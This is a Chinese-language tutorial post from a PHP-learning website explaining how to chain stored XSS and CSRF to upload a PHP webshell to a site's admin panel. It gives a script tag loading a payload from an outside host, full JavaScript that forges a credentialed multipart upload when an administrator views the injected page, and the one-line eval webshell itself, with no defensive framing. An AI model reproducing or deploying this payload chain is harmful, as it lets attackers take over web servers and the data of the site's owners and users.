来源：自学PHP网 时间：2015-04-16 23:15 作者： 阅读:次
[导读] 初来驾到，分享自己的一点心得，希望能对各位有用。标题：xss+csrf上传一句话前提条件：必须知道后台上传点。1、找到存在xss的地方提交代码：例如：script src=http: xxx com js js script2、构...
|
初来乍到，分享自己的一点心得，希望能对各位有用。
标题：xss+csrf上传一句话
前提条件：必须知道后台上传点。
1、找到存在xss的地方提交代码：例如：<script src=http://xxx.com/js.js></script>
2、构造该js.
var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml'); } } else if (window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++) { try { request = new ActiveXObject(versions); } catch(e) {} } } xmlhttp=request; var url= "http://www.xxxx.com/admin/upload.php";//这里是上传位置
var params="-----------------------------223972503529236\r\n"+ "Content-Disposition: form-data; name=\"title\"\r\n"+ "\r\n"+ "\r\n"+ "-----------------------------223972503529236\r\n"+ "Content-Disposition: form-data; name=\"name\"\r\n"+ "\r\n"+ "\r\n"+ "-----------------------------223972503529236\r\n"+ "Content-Disposition: form-data; name=\"file\"; filename=\"yjh.php\"\r\n"+ "Content-Type: application/octet-stream\r\n"+ "\r\n"+ "<?php @eval($_POST[\'cmd\'])?>\r\n"+ "-----------------------------223972503529236--\r\n";//这些信息可以通过本地架设后台上传点抓包获得。
xmlhttp.open("POST", url, true); xmlhttp.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xmlhttp.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3"); xmlhttp.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------223972503529236"); xmlhttp.withCredentials = "true";
var aBody = new Uint8Array(params.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = params.charCodeAt(i); xmlhttp.send(new Blob([aBody]));
3、等待管理在后台查看你发送到这个xss，这样一句话也就上传成功了。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
